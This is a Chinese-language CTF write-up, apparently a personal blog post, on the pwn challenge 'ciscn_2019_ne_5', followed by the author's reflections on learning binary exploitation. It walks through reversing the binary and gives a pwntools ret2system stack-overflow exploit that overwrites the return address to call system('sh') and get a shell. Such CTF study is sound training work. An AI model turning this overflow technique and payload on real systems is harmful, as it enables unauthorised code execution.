ciscn_2019_ne_5
原来system的参数不一定必须是“/bin/sh”,单独的“sh”也可以拿到shell。。。
32位程序,开启了堆栈不可执行。
看一眼伪代码
直接找main函数f5,会报错。
我们找到地址0x8048801看看是什么
是一个scanf函数,这里我们找到这个函数,先按f5把它反编译一下,之后再反编译main函数就可以成功了。
两次输入,一个输出administrator就可以进入菜单,这里我们主要看功能3
print函数跟进去。
发现了system函数,这个时候我们假如可以调用这个函数,并且参数是“/bin/sh”或者是“sh”,我们就可以拿到shell了。。。这个时候就需要我们去找找这个字符串了。
其实我第一次是在ida找到了。刚刚试了试发现用ROPgadget可以直接搜索到。。。突然觉得ROPgadget好强。。。
接下来就是利用其他功能进行栈溢出了,溢出的地址覆盖成system的地址,这个时候我们就能拿到shell了。
贴一下exp:
1 from pwn import * 2 import time 3 #p = process('./ciscn_2019_ne_5') 4 elf = ELF('./ciscn_2019_ne_5') 5 context.log_level = 'debug' 6 7 system_addr = 0x080484D0 8 sh_addr = 0x080482Ea 9 puts_plt = elf.plt['puts'] 10 puts_got = elf.got['puts'] 11 12 p.sendlineafter('password:','administrator') 13 payload = '1'*0x48 + 'bbbb' + p32(system_addr) + 'aaaa' + p32(sh_addr) 14 p.sendlineafter(':','1') 15 p.sendlineafter('info:',payload) 16 p.sendlineafter(':','4') 17 p.interactive()
说点题外的,从去年十月份计划开始学习pwn,断断续续一直前进不去。终于寒假了,加上疫情。只能在家,严格意义上来说是1月12号开始学习的pwn,到现在也40天了,四十天终于理解了格式化字符串,对栈溢出真正掌握了,还了解了栈迁移,学了plt、got表,libc版本的知识点。我觉得学了其实也不少。
但是,新春战役这个比赛,我还是一道题做不出来,我真的是。。。!!!太废了。。。
一直说要开始学习堆,却也一直没开始。。。
😭我真的是太菜了!!!啊啊啊啊啊!!!
我到底什么时候才能变强啊!!!
你所谓的迷茫,不过是清醒地看着自己沉沦。!!!
加油啊!!!你一定可以做出题来,打到线下,去见更大的世界!!!